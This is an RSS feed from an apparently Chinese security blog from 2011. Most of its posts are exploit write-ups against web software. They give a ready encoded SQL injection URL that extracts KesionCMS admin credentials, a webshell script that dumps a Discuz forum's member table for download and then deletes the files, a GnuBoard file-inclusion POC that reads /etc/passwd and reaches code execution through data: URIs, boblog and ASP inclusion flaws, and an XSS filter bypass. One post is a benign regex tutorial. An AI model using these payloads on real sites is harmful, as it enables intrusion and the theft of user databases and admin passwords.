<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>My5t3ry&#039;s blog</title>
	<atom:link href="http://www.bksec.net/feed" rel="self" type="application/rss+xml" />
	<link>http://www.bksec.net</link>
	<description></description>
	<lastBuildDate>Thu, 28 Jul 2011 00:41:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>科讯 6.x &#8211; 7.06 SQL 注射漏洞</title>
		<link>http://www.bksec.net/archives/332.html</link>
		<comments>http://www.bksec.net/archives/332.html#comments</comments>
		<pubDate>Thu, 28 Jul 2011 00:32:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Sql injection]]></category>
		<category><![CDATA[科汛]]></category>

		<guid isPermaLink="false">http://www.bksec.net/?p=332</guid>
		<description><![CDATA[author:my5t3ry 转载请注明：t00ls.net 漏洞位于注册页面的\User\Reg\RegAjax.asp 中的24 &#8211; 46行 和 254 -270 行 代码如下： Class Ajax_Check Private KS Private Sub Class_Initialize() Set KS=New PublicCls End Sub Private Sub Class_Terminate() Set KS=Nothing End Sub Public Sub Kesion() Select Case KS.S(&#8220;Action&#8221;) Case &#8220;checkusername&#8221; Call CheckUserName() Case &#8220;checkemail&#8221; Call CheckEmail() Case &#8220;checkcode&#8221; Call CheckCode() Case &#8220;getregform&#8221; Call GetRegForm() Case &#8220;getcityoption&#8221; Call [...]]]></description>
			<content:encoded><![CDATA[<p>author:my5t3ry<br />
转载请注明：t00ls.net<br />
漏洞位于注册页面的\User\Reg\RegAjax.asp 中的24 &#8211; 46行 和 254 -270 行 代码如下：</p>
<p>Class Ajax_Check<br />
Private KS<br />
Private Sub Class_Initialize()<br />
Set KS=New PublicCls<br />
End Sub<br />
Private Sub Class_Terminate()<br />
Set KS=Nothing<br />
End Sub<br />
Public Sub Kesion()</p>
<p>Select Case KS.S(&#8220;Action&#8221;)<br />
Case &#8220;checkusername&#8221;<br />
Call CheckUserName()<br />
Case &#8220;checkemail&#8221;<br />
Call CheckEmail()<br />
Case &#8220;checkcode&#8221;<br />
Call CheckCode()<br />
Case &#8220;getregform&#8221;<br />
Call GetRegForm()<br />
Case &#8220;getcityoption&#8221;<br />
Call getCityOption()<br />
End Select<br />
End Sub</p>
<p>……略去无关代码<span id="more-332"></span></p>
<p>Sub getCityOption()<br />
Dim Province,XML,Node<br />
Province=UnEscape(KS.S(&#8220;Province&#8221;))  //注意这里<br />
Dim RS:Set RS=Server.CreateObject(&#8220;ADODB.RECORDSET&#8221;)<br />
RS.Open &#8220;Select top 200 a.ID,a.City From KS_Province a Inner Join KS_Province b On A.ParentID=B.ID Where B.City=&#8217;&#8221; &amp; Province &amp; &#8220;&#8216; order by a.orderid,a.id&#8221;,conn,1,1<br />
If Not RS.Eof Then<br />
Set XML=KS.RsToXml(Rs,&#8221;row&#8221;,&#8221;")<br />
End If<br />
RS.Close : Set RS=Nothing<br />
If IsObject(XML) Then<br />
For Each Node In XML.DocumentElement.SelectNodes(&#8220;row&#8221;)<br />
KS.Echo &#8220;&lt;option value=&#8221;"&#8221; &amp; node.SelectSingleNode(&#8220;@city&#8221;).text &amp;&#8221;"&#8221;&gt;&#8221; &amp; node.SelectSingleNode(&#8220;@city&#8221;).text &amp;&#8221;&lt;/option&gt;&#8221;<br />
Next<br />
End If<br />
Set XML=Nothing<br />
End Sub<br />
End Class</p>
<p>以上代码中的Province=UnEscape(KS.S(&#8220;Province&#8221;)) 调用自定义函数KS.S进行过滤，接着又调用UnEscape函数解码！</p>
<p>其中KS.S 函数 与UnEscape函数 原型如下:</p>
<p>Function DelSql(Str)<br />
Dim SplitSqlStr,SplitSqlArr,I<br />
SplitSqlStr=&#8221;dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell&#8221;<br />
SplitSqlArr = Split(SplitSqlStr,&#8221;|&#8221;)<br />
For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)<br />
If Instr(LCase(Str),SplitSqlArr(I))&gt;0 Then<br />
Die &#8220;&lt;script&gt;alert(&#8216;系统警告！\n\n1、您提交的数据有恶意字符&#8221; &amp; SplitSqlArr(I) &amp;&#8221;;\n2、您的数据已经被记录;\n3、您的IP：&#8221;&amp;GetIP&amp;&#8221;;\n4、操作日期：&#8221;&amp;Now&amp;&#8221;;\n                Powered By Kesion.Com!&#8217;);window.close();&lt;/script&gt;&#8221;<br />
End if<br />
Next<br />
DelSql = Str<br />
End Function<br />
&#8216;取得Request.Querystring 或 Request.Form 的值<br />
Public Function S(Str)<br />
S = DelSql(Replace(Replace(Request(Str), &#8220;&#8216;&#8221;, &#8220;&#8221;), &#8220;&#8221;"&#8221;, &#8220;&#8221;))<br />
End Function</p>
<p>这里编码出现混乱，产生了与php的二次编码类似的漏洞，利用比较简单，可以union：</p>
<p>http://localhost/user/reg/regajax.asp?action=getcityoption&amp;province=%2527%2520%2575%256e%2569%256f%256e%2520%2553%2565%256c%2565%2563%2574%2520%2574%256f%2570%2520%2531%2530%2520%2541%2564%256d%2569%256e%2549%2544%252c%2555%2573%2565%2572%254e%2561%256d%2565%2526%2563%2568%2572%2528%2531%2532%2534%2529%2526%2550%2561%2573%2573%2557%256f%2572%2564%2520%2546%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500</p>
<p>上面的利用针对ACCESS，MSSQL需要改下SQL语句：</p>
<p>&lt;?php<br />
$str = &#8220;&#8216; union Select top 10 AdminID,UserName&amp;chr(124)&amp;PassWord From KS_Admin&#8221;;<br />
for ($i=0; $i&lt;=strlen($str); $i++){<br />
$temp .= &#8220;%25&#8243;.base_convert(ord($str[$i]),10,16);<br />
}<br />
echo $temp.&#8221;0&#8243;;<br />
?&gt;</p>
<p>修改&#8217; union Select top 10 AdminID,UserName&amp;chr(124)&amp;PassWord From KS_Admin为相应的SQL语句即可。（MSSQL直接备份差异比较方便）</p>
<p>因为解码的时候进行了CLng类型转换，提交字符可以使其报错从而爆出物理路径<br />
爆物理路径:http://localhost/user/reg/regajax.asp?action=getcityoption&amp;province=%25i</p>
<p>上图：<br />
<a href="http://www.bksec.net/wp-content/uploads/2011/07/ke1.jpg"><img title="ke1" src="http://www.bksec.net/wp-content/uploads/2011/07/ke1-300x149.jpg" alt="" width="300" height="149" /></a></p>
<p><a href="http://www.bksec.net/wp-content/uploads/2011/07/ke21.jpg"><img class="alignnone size-medium wp-image-341" title="ke2" src="http://www.bksec.net/wp-content/uploads/2011/07/ke21-251x300.jpg" alt="" width="251" height="300" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bksec.net/archives/332.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>一句话下拖库</title>
		<link>http://www.bksec.net/archives/329.html</link>
		<comments>http://www.bksec.net/archives/329.html#comments</comments>
		<pubDate>Sun, 20 Mar 2011 11:45:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[拖库]]></category>

		<guid isPermaLink="false">http://www.bksec.net/?p=329</guid>
		<description><![CDATA[author：toby57 条件限制写不了大马，只有一个一句话，其实要实现什么完全够了，只是很不直观方便啊，比如tuo库。 这儿利用的是马儿的专家模式（自己写代码）。 ini_set(&#8216;display_errors&#8217;, 1); set_time_limit(0); error_reporting(E_ALL); $connx = mysql_connect(&#8220;:/var/tmp/mysql.sock&#8221;, &#8220;forum&#8221;, &#8220;xx!!xx3&#8243;) or die(&#8220;Could not connect: &#8221; . mysql_error()); mysql_select_db(&#8220;discuz&#8221;,$connx) or die(&#8220;Could not connect: &#8221; . mysql_error()); $result = mysql_query(&#8220;Select * FROM members&#8221;,$connx) or die(&#8220;Could not connect: &#8221; . mysql_error()); $i = 0; $tmp = &#8221;; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { $i = $i+1; [...]]]></description>
			<content:encoded><![CDATA[<p>author：toby57<br />
条件限制写不了大马，只有一个一句话，其实要实现什么完全够了，只是很不直观方便啊，比如tuo库。</p>
<p>这儿利用的是马儿的专家模式（自己写代码）。<br />
ini_set(&#8216;display_errors&#8217;, 1);<br />
set_time_limit(0);<br />
error_reporting(E_ALL);<br />
$connx = mysql_connect(&#8220;:/var/tmp/mysql.sock&#8221;, &#8220;forum&#8221;, &#8220;xx!!xx3&#8243;) or die(&#8220;Could not connect: &#8221; . mysql_error());<br />
mysql_select_db(&#8220;discuz&#8221;,$connx) or die(&#8220;Could not connect: &#8221; . mysql_error());<br />
$result = mysql_query(&#8220;Select * FROM members&#8221;,$connx) or die(&#8220;Could not connect: &#8221; . mysql_error());<br />
$i = 0;<br />
$tmp = &#8221;;<br />
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {<br />
    $i = $i+1;<br />
    $tmp .=  implode(&#8220;::&#8221;, $row).&#8221;\n&#8221;;<br />
    if(!($i%500)){//500条写入一个文件<br />
        $filename = &#8216;/home/httpd/bbs.xxxxx/forumdata/cache/user&#8217;.intval($i/500).&#8217;.txt&#8217;;<br />
        file_put_contents($filename,$tmp);<br />
        $tmp = &#8221;;<br />
    }<br />
}<br />
mysql_free_result($result);</p>
<p>//down完后delete</p>
<p>ini_set(&#8216;display_errors&#8217;, 1);<br />
error_reporting(E_ALL);<br />
$i = 0;<br />
while($i<32) {<br />
    $i = $i+1;<br />
        $filename = &#8216;/home/httpd/bbs.xxxx/forumdata/cache/user&#8217;.$i.&#8217;.txt&#8217;;<br />
        unlink($filename);<br />
}</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bksec.net/archives/329.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>boblog任意变量覆盖漏洞</title>
		<link>http://www.bksec.net/archives/326.html</link>
		<comments>http://www.bksec.net/archives/326.html#comments</comments>
		<pubDate>Tue, 01 Mar 2011 11:43:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Script]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.bksec.net/?p=326</guid>
		<description><![CDATA[by Ryat[puretot] mail: puretot at gmail dot com team: http://www.80vul.com 发现时间 2008-10-02 公开时间 2011-02-27 漏洞影响版本 2.1.0 2.1.1 状态 已修补 漏洞代码如下： // go.php $q_url=$_SERVER["REQUEST_URI"]; @list($relativePath, $rawURL)=@explode(&#8216;/go.php/&#8217;, $q_url); $rewritedURL=$rawURL; // 来自$_SERVER["REQUEST_URI"],可以任意提交的:) &#8230; $RewriteRules[]=&#8221;/component\/([^\/]+)\/?/&#8221;; // 这个正则限制的不够细致,可以很轻易的绕过:) &#8230; $RedirectTo[]=&#8221;page.php?pagealias=\\1&#8243;; $i=0; foreach ($RewriteRules as $rule) { if (preg_match($rule, $rewritedURL)) { $tmp_rewritedURL=preg_replace($rule, &#8216;]]></description>
			<content:encoded><![CDATA[<p>by Ryat[puretot]<br />
mail: puretot at gmail dot com<br />
team: http://www.80vul.com</p>
<p>发现时间 2008-10-02<br />
公开时间 2011-02-27<br />
漏洞影响版本 2.1.0 2.1.1<br />
状态 已修补</p>
<p>漏洞代码如下：<br />
// go.php<br />
$q_url=$_SERVER["REQUEST_URI"];<br />
@list($relativePath, $rawURL)=@explode(&#8216;/go.php/&#8217;, $q_url);<br />
$rewritedURL=$rawURL; // 来自$_SERVER["REQUEST_URI"],可以任意提交的:)<br />
&#8230;<br />
$RewriteRules[]=&#8221;/component\/([^\/]+)\/?/&#8221;;<br />
// 这个正则限制的不够细致,可以很轻易的绕过:)<br />
&#8230;<span id="more-326"></span><br />
$RedirectTo[]=&#8221;page.php?pagealias=\\1&#8243;;</p>
<p>$i=0;<br />
foreach ($RewriteRules as $rule) {<br />
	if (preg_match($rule, $rewritedURL)) {<br />
		$tmp_rewritedURL=preg_replace($rule, &#8216;<'.$RedirectTo[$i].'<', $rewritedURL, 1);<br />
		$tmp_rewritedURL=@explode('<', $tmp_rewritedURL);<br />
		$rewritedURL=($tmp_rewritedURL[2]) ? false : $tmp_rewritedURL[1];<br />
		break;<br />
	}<br />
	$i+=1;<br />
}</p>
<p>if ($rewritedURL==$rawURL || !$rewritedURL) {<br />
...<br />
$parsedURL=parse_url ($rewritedURL);<br />
// 这里的$parsedURL['query']就是要利用的变量了:)<br />
parse_str($parsedURL['query']);<br />
// 通过这个地方可以覆盖任意变量<br />
include(basename($parsedURL['path']));<br />
// 通过上面的覆盖,可以利用这里包含本地文件,不过用了basename()函数处理:(</p>
<p>这个漏洞不是很复杂,关键说说利用,这里有两个利用点,一个覆盖,一个利用覆盖来包含,虽然用了basename()来限制,但是可以利用data://来执行命令.只是这种方式的利用是有限制的[PHP>5.2.0&#038;allow_url_include=On].不过没关系,还有更好的利用方式</p>
<p>来看下global.php文件:<br />
&#8230;<br />
unregister_GLOBALS(); //When register_globals=On<br />
&#8230;<br />
function unregister_GLOBALS() { //When register_globals = &#8216;on&#8217;<br />
	if (!ini_get(&#8216;register_globals&#8217;)) { //Already off<br />
		return;<br />
	}<br />
	// Variables that shouldn&#8217;t be unset<br />
	$noUnset = array(&#8216;_GET&#8217;, &#8216;_POST&#8217;,  &#8216;_COOKIE&#8217;,  &#8216;_REQUEST&#8217;, &#8216;_SERVER&#8217;,  &#8216;_ENV&#8217;,  &#8216;_FILES&#8217;);<br />
	$input = array_merge($_GET,  $_POST,	$_COOKIE, $_SERVER, $_ENV,  $_FILES,	isset($_SESSION) &#038;&#038; is_array($_SESSION) ? $_SESSION : array());<br />
	foreach ($input as $k => $v) {<br />
		if ($k==&#8217;GLOBALS&#8217;) {<br />
			global $kgr;<br />
			$kgr=0;<br />
			kill_GLOBALS($input[$k]); //GLOBALS is recursive -,-<br />
		}<br />
		elseif (!in_array($k, $noUnset) &#038;&#038; isset($GLOBALS[$k])) {<br />
			$GLOBALS[$k]=NULL;<br />
		}<br />
	}<br />
}<br />
在这里取消了全局变量,但是我们可以通过go.php中的覆盖变量和包含文件来绕过unregister_GLOBALS()的限制,触发变量未初始化漏洞,这将导致xss、sql注射、命令执行等众多严重的安全问题:)</p>
<p>其实这里还有其他的利用思路,就不多说了,各位看官发挥自己的想象力吧:)</p>
<p>EXP or POC?自己搞喽;P</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bksec.net/archives/326.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASP中可能出现的一种包含漏洞(Server.execute)</title>
		<link>http://www.bksec.net/archives/323.html</link>
		<comments>http://www.bksec.net/archives/323.html#comments</comments>
		<pubDate>Sun, 27 Feb 2011 10:21:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[本地包含]]></category>

		<guid isPermaLink="false">http://www.bksec.net/?p=323</guid>
		<description><![CDATA[author: bin &#60;% Server.execute(request(&#8220;file&#8221;)) %&#62; 与include的区别，它可以动态包含文件。 被包含文件里面可执行ASP代码，在国外的源码中有使用的。 include.asp?file=./1.txt 1.txt &#60;%response.write(now())%&#62;]]></description>
			<content:encoded><![CDATA[<p>author: bin</p>
<div>
&lt;%<br />
Server.execute(request(&#8220;file&#8221;))<br />
%&gt;</div>
<p>与include的区别，它可以动态包含文件。<br />
被包含文件里面可执行ASP代码，在国外的源码中有使用的。</p>
<p>include.asp?file=./1.txt</p>
<p>1.txt</p>
<p>&lt;%response.write(now())%&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bksec.net/archives/323.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>解析PHP正则表达式修饰符</title>
		<link>http://www.bksec.net/archives/320.html</link>
		<comments>http://www.bksec.net/archives/320.html#comments</comments>
		<pubDate>Thu, 17 Feb 2011 05:53:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Script]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[正则]]></category>

		<guid isPermaLink="false">http://www.bksec.net/?p=320</guid>
		<description><![CDATA[PHP正则表达式修饰符的应用是我们在进行PHP正则表达式开发的时候经常会使用的，那么关于PHP正则表达式修饰符我们需要掌握什么呢？那么本文就向你介绍详细内容。 我们在PHP正则表达式的学习中会碰到修饰符，那么关于PHP正则表达式修饰符的理解以及使用我们需要注意什么呢？那么我们来具体的看看它的概念以及相关内容。在学习PHP正则表达式修饰符之前先来理解下贪婪模式，前面在元字符中提到过&#8221;?&#8221;还有一个重要的作用，即&#8221;贪婪模式&#8221;，什么是&#8221;贪婪模式&#8221; 呢？ PHP正则表达式贪婪模式： 比如我们要匹配以字母&#8221;a&#8221;开头字母&#8221;b&#8221;结尾的字符串，但是需要匹配的字符串在&#8221;a&#8221;后面含有很多个&#8221;b&#8221;，比如&#8221;a bbbbbbbbbbbbbbbbb&#8221;，那正则表达式是会匹配第一个&#8221;b&#8221;还是最后一个&#8221;b&#8221;呢？如果你使用了贪婪模式，那么会匹配到最后一个&#8221;b&#8221;，反之只是匹配到第一个&#8221;b&#8221;。 PHP正则表达式贪婪模式使用实例： /a.+?b/ /a.+b/U 对比不使用贪婪模式的实例如下： /a.+b/ 上面使用了一个修饰符U，详见关于修饰符的介绍。 PHP正则表达式修饰符的理解： 在PHP正则表达式里面的修饰符可以改变正则的很多特性，使得正则表达式更加适合你的需要（注意：修饰符对于大小写是敏感的，这意味着&#8221;e&#8221;并不等于&#8221;E&#8221;）。 PHP正则表达式修饰符的种类及介绍： ◆i ：如果在修饰符中加上&#8221;i&#8221;，则正则将会取消大小写敏感性，即&#8221;a&#8221;和&#8221;A&#8221; 是一样的。 ◆m：默认的正则开始&#8221;^&#8221;和结束&#8221;$&#8221;只是对于正则字符串如果在修饰符中加上&#8221;m&#8221;，那么开始和结束将会指字符串的每一行：每一行的开头就是&#8221;^&#8221;，结尾就是&#8221;$&#8221;。 ◆s：如果在修饰符中加入&#8221;s&#8221;，那么默认的&#8221;.&#8221;代表除了换行符以外的任何字符将会变成任意字符，也就是包括换行符！ ◆x：如果加上该修饰符，表达式中的空白字符将会被忽略，除非它已经被转义。 ◆e：本修饰符仅仅对于replacement有用，代表在replacement中作为PHP代码。 ◆A：如果使用这个修饰符，那么表达式必须是匹配的字符串中的开头部分。比如说&#8221;/a/A&#8221;匹配&#8221;abcd&#8221;。 ◆E：与&#8221;m&#8221;相反，如果使用这个修饰符，那么&#8221;$&#8221;将匹配绝对字符串的结尾，而不是换行符前面，默认就打开了这个模式。 ◆U：和问号的作用差不多，用于设置&#8221;贪婪模式&#8221;。 PHP正则表达式修饰符的相关内容就向你介绍到这里，希望对你了解和掌握PHP正则表达式修饰符有所帮助。]]></description>
			<content:encoded><![CDATA[<p>   PHP正则表达式修饰符的应用是我们在进行PHP正则表达式开发的时候经常会使用的，那么关于PHP正则表达式修饰符我们需要掌握什么呢？那么本文就向你介绍详细内容。</p>
<p>我们在PHP正则表达式的学习中会碰到修饰符，那么关于PHP正则表达式修饰符的理解以及使用我们需要注意什么呢？那么我们来具体的看看它的概念以及相关内容。在学习PHP正则表达式修饰符之前先来理解下贪婪模式，前面在元字符中提到过&#8221;?&#8221;还有一个重要的作用，即&#8221;贪婪模式&#8221;，什么是&#8221;贪婪模式&#8221; 呢？</p>
<p><strong>PHP正则表达式贪婪模式：</strong><span id="more-320"></span></p>
<p>比如我们要匹配以字母&#8221;a&#8221;开头字母&#8221;b&#8221;结尾的字符串，但是需要匹配的字符串在&#8221;a&#8221;后面含有很多个&#8221;b&#8221;，比如&#8221;a bbbbbbbbbbbbbbbbb&#8221;，那正则表达式是会匹配第一个&#8221;b&#8221;还是最后一个&#8221;b&#8221;呢？如果你使用了贪婪模式，那么会匹配到最后一个&#8221;b&#8221;，反之只是匹配到第一个&#8221;b&#8221;。</p>
<p><strong>PHP正则表达式贪婪模式使用实例：</strong></p>
<p><strong>   /a.+?b/<br />
   /a.+b/U </strong></p>
<p><strong>对比不使用贪婪模式的实例如下：</strong><br />
<strong><br />
/a.+b/  </strong></p>
<p>上面使用了一个修饰符U，详见关于修饰符的介绍。</p>
<p><strong>PHP正则表达式修饰符的理解：</strong></p>
<p>在PHP正则表达式里面的修饰符可以改变正则的很多特性，使得正则表达式更加适合你的需要（注意：修饰符对于大小写是敏感的，这意味着&#8221;e&#8221;并不等于&#8221;E&#8221;）。</p>
<p><strong>PHP正则表达式修饰符的种类及介绍：</strong></p>
<p>◆i ：如果在修饰符中加上&#8221;i&#8221;，则正则将会取消大小写敏感性，即&#8221;a&#8221;和&#8221;A&#8221; 是一样的。</p>
<p>◆m：默认的正则开始&#8221;^&#8221;和结束&#8221;$&#8221;只是对于正则字符串如果在修饰符中加上&#8221;m&#8221;，那么开始和结束将会指字符串的每一行：每一行的开头就是&#8221;^&#8221;，结尾就是&#8221;$&#8221;。</p>
<p>◆s：如果在修饰符中加入&#8221;s&#8221;，那么默认的&#8221;.&#8221;代表除了换行符以外的任何字符将会变成任意字符，也就是包括换行符！</p>
<p>◆x：如果加上该修饰符，表达式中的空白字符将会被忽略，除非它已经被转义。</p>
<p>◆e：本修饰符仅仅对于replacement有用，代表在replacement中作为PHP代码。</p>
<p>◆A：如果使用这个修饰符，那么表达式必须是匹配的字符串中的开头部分。比如说&#8221;/a/A&#8221;匹配&#8221;abcd&#8221;。</p>
<p>◆E：与&#8221;m&#8221;相反，如果使用这个修饰符，那么&#8221;$&#8221;将匹配绝对字符串的结尾，而不是换行符前面，默认就打开了这个模式。</p>
<p>◆U：和问号的作用差不多，用于设置&#8221;贪婪模式&#8221;。</p>
<p>PHP正则表达式修饰符的相关内容就向你介绍到这里，希望对你了解和掌握PHP正则表达式修饰符有所帮助。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bksec.net/archives/320.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GnuBoard本地文件包含漏洞</title>
		<link>http://www.bksec.net/archives/318.html</link>
		<comments>http://www.bksec.net/archives/318.html#comments</comments>
		<pubDate>Thu, 17 Feb 2011 05:48:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Script]]></category>
		<category><![CDATA[本地包含]]></category>

		<guid isPermaLink="false">http://www.bksec.net/?p=318</guid>
		<description><![CDATA[#my5t3ry:这个利用比较特别，记录一下 By Flyh4t http://bbs.wolvez.org/ GnuBoard是韩国比较常见的一个论坛，存在较多的漏洞，其中common.php存在一个文件包含漏洞 看common.php代码&#60;!&#8211;more&#8211;&#62; @extract($_GET); @extract($_POST); @extract($_SERVER); …… if (!$g4_path &#124;&#124; preg_match(&#8220;/:\/\//&#8221;, $g4_path)) die(&#8220;&#60;meta http-equiv=&#8217;content-type&#8217; content=&#8217;text/html; charset=$g4[charset]&#8216;&#62;&#60;script language=&#8217;JavaScript&#8217;&#62; alert(&#8216;肋给等 规过栏肺 函荐啊 沥狼登菌嚼聪促.&#8217;); &#60;/script&#62;&#8221;); //if (!$g4_path) $g4_path = &#8220;.&#8221;; $g4['path'] = $g4_path; //只限制了$g4_path不能有字符 :// unset($g4_path); include_once(&#8220;$g4[path]/lib/constant.php&#8221;);  //本地文件包含漏洞 include_once(&#8220;$g4[path]/config.php&#8221;); POC: http://test.com/GnuBoard/common.php?g4_path=../../../../../../../etc/passwd%00 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; 在Ryat牛的提示下，这个本地包含晋升为远程代码执行漏洞。 bypass_local.php &#60;?php if (!$g4_path &#124;&#124; preg_match(&#8220;/:\/\//&#8221;, $g4_path)) die(&#8220;fuck&#8221;); $g4['path'] = $g4_path; unset($g4_path); [...]]]></description>
			<content:encoded><![CDATA[<p>#my5t3ry:这个利用比较特别，记录一下</p>
<p>By Flyh4t</p>
<p>http://bbs.wolvez.org/</p>
<p>GnuBoard是韩国比较常见的一个论坛，存在较多的漏洞，其中common.php存在一个文件包含漏洞<br />
看common.php代码&lt;!&#8211;more&#8211;&gt;</p>
<p>@extract($_GET);<br />
@extract($_POST);<br />
@extract($_SERVER);</p>
<p>……</p>
<p>if (!$g4_path || preg_match(&#8220;/:\/\//&#8221;, $g4_path))<br />
die(&#8220;&lt;meta http-equiv=&#8217;content-type&#8217; content=&#8217;text/html; charset=$g4[charset]&#8216;&gt;&lt;script language=&#8217;JavaScript&#8217;&gt; alert(&#8216;肋给等 规过栏肺 函荐啊 沥狼登菌嚼聪促.&#8217;); &lt;/script&gt;&#8221;);</p>
<p>//if (!$g4_path) $g4_path = &#8220;.&#8221;;</p>
<p>$g4['path'] = $g4_path; //只限制了$g4_path不能有字符 ://</p>
<p>unset($g4_path);</p>
<p>include_once(&#8220;$g4[path]/lib/constant.php&#8221;);  //本地文件包含漏洞<br />
include_once(&#8220;$g4[path]/config.php&#8221;);</p>
<p>POC:</p>
<p>http://test.com/GnuBoard/common.php?g4_path=../../../../../../../etc/passwd%00</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
在Ryat牛的提示下，这个本地包含晋升为远程代码执行漏洞。<br />
bypass_local.php</p>
<p>&lt;?php<br />
if (!$g4_path || preg_match(&#8220;/:\/\//&#8221;, $g4_path))<br />
die(&#8220;fuck&#8221;);<br />
$g4['path'] = $g4_path;<br />
unset($g4_path);<br />
include_once(&#8220;$g4[path]/lib/constant.php&#8221;);<br />
?&gt;</p>
<p>在allow_url_include = On且PHP &gt;= 5.2.0的条件下<br />
提交bypass_local.php?g4_path=data:;base64,PD9waHBpbmZvKCk7Lyo=<br />
成功执行phpinfo()</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bksec.net/archives/318.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>关于Data URI scheme的一些资料</title>
		<link>http://www.bksec.net/archives/313.html</link>
		<comments>http://www.bksec.net/archives/313.html#comments</comments>
		<pubDate>Thu, 17 Feb 2011 05:28:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Script]]></category>
		<category><![CDATA[Data URI scheme]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.bksec.net/?p=313</guid>
		<description><![CDATA[http://en.wikipedia.org/wiki/Data_URI_scheme http://stackoverflow.com/questions/1201955/phpmailer-addstringattachment-and-data-uri-scheme http://www.php.net/manual/en/wrappers.data.php http://www.faqs.org/rfcs/rfc2397.html]]></description>
			<content:encoded><![CDATA[<p><a href="http://en.wikipedia.org/wiki/Data_URI_scheme">http://en.wikipedia.org/wiki/Data_URI_scheme</a><br />
<a href="http://stackoverflow.com/questions/1201955/phpmailer-addstringattachment-and-data-uri-scheme">http://stackoverflow.com/questions/1201955/phpmailer-addstringattachment-and-data-uri-scheme</a><br />
<a href="http://www.php.net/manual/en/wrappers.data.php">http://www.php.net/manual/en/wrappers.data.php</a><br />
<a href="http://www.faqs.org/rfcs/rfc2397.html">http://www.faqs.org/rfcs/rfc2397.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bksec.net/archives/313.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>利用data:进行XSS测试</title>
		<link>http://www.bksec.net/archives/307.html</link>
		<comments>http://www.bksec.net/archives/307.html#comments</comments>
		<pubDate>Thu, 17 Feb 2011 00:03:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.bksec.net/?p=307</guid>
		<description><![CDATA[这种方法不算新，可是很少人用，也很少人能想得到。 http://hi.baidu.com/cncxz/blog/item/8d6aaa08d1d96fbc2fddd4ee.html data:类似于javascript:，在很大程度上，可以完成javascript的工作. 举一个例子： 进行XSS测试时，发现javascript与script等关键字都被过滤了（现在一般有点XSS意识的管理员都懂得过滤这两个关键字）。可用下面的语句： data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4= 这语句和 javascript:alert(&#8220;xss&#8221;) 或者 alert("xss") 作用是一样的。 data:的语法从上面的语句中也可以看得很清楚了，base64为编码方式，可以任意改，可以UTF-8可以UTF-7，只要后面编码后的内容做相应的更改就可以了。不仅仅是弹窗，如果想src到一个JS脚本，也是完全可以的。 SuperHei对data:的总结是： 1.可以指定MIME-type如text/html 2.可以指定编码如data:;charset=UTF-8,Hello 3.firefox/ie8/Opera等支持它 有兴趣的同学可以参看FIREFOX官方： http://www-archive.mozilla.org/quality/networking/testing/datatests.html data:是一个好东西啊~OVER！]]></description>
			<content:encoded><![CDATA[<p>这种方法不算新，可是很少人用，也很少人能想得到。</p>
<p><a href="http://hi.baidu.com/cncxz/blog/item/8d6aaa08d1d96fbc2fddd4ee.html">http://hi.baidu.com/cncxz/blog/item/8d6aaa08d1d96fbc2fddd4ee.html</a></p>
